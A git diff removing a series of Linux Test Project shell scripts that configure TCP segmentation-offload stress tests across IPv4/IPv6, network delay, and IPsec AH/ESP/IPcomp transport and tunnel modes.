@@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-tso07 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp4-uni-tso07 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso08 b/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso08 deleted file mode 100644 index 4c226ebb..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso08 +++ /dev/null @@ -1,61 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-tso08 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - Network is delayed -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp4-uni-tso08 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso09 b/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso09 deleted file mode 100644 index bac9fb6c..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso09 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-tso09 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - Network is delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp4-uni-tso09 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso10 b/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso10 deleted file mode 100644 index a878b7ec..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso10 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-tso10 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - Network is delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp4-uni-tso10 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso11 b/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso11 deleted file mode 100644 index fbc9e8fd..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso11 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-tso11 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - Network is delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp4-uni-tso11 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso12 b/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso12 deleted file mode 100644 index 6a9e74ea..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso12 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-tso12 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - Network is delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp4-uni-tso12 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso13 b/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso13 deleted file mode 100644 index 5d2bc29d..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso13 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-tso13 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - Network is delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp4-uni-tso13 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso14 b/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso14 deleted file mode 100644 index 4ccb2fe9..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp4-uni-tso14 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-tso14 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - Network is delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp4-uni-tso14 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso01 b/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso01 deleted file mode 100644 index 9bd74ded..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso01 +++ /dev/null @@ -1,61 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-tso01 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - The version of IP is IPv6 -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp6-uni-tso01 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso02 b/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso02 deleted file mode 100644 index 79f9e5f1..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso02 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-tso02 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - The version of IP is IPv6 -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp6-uni-tso02 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso03 b/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso03 deleted file mode 100644 index 6f3b5671..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso03 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-tso03 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - The version of IP is IPv6 -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp6-uni-tso03 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso04 b/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso04 deleted file mode 100644 index 7b36ee6f..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso04 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-tso04 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - The version of IP is IPv6 -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp6-uni-tso04 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso05 b/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso05 deleted file mode 100644 index 0334fc8a..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso05 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-tso05 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - The version of IP is IPv6 -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp6-uni-tso05 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso06 b/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso06 deleted file mode 100644 index 1ada543e..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso06 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-tso06 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - The version of IP is IPv6 -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp6-uni-tso06 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso07 b/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso07 deleted file mode 100644 index 3b492eb7..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso07 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-tso07 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - The version of IP is IPv6 -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp6-uni-tso07 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso08 b/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso08 deleted file mode 100644 index 4c171f35..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso08 +++ /dev/null @@ -1,62 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-tso08 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp6-uni-tso08 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso09 b/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso09 deleted file mode 100644 index c2428e91..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso09 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-tso09 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. 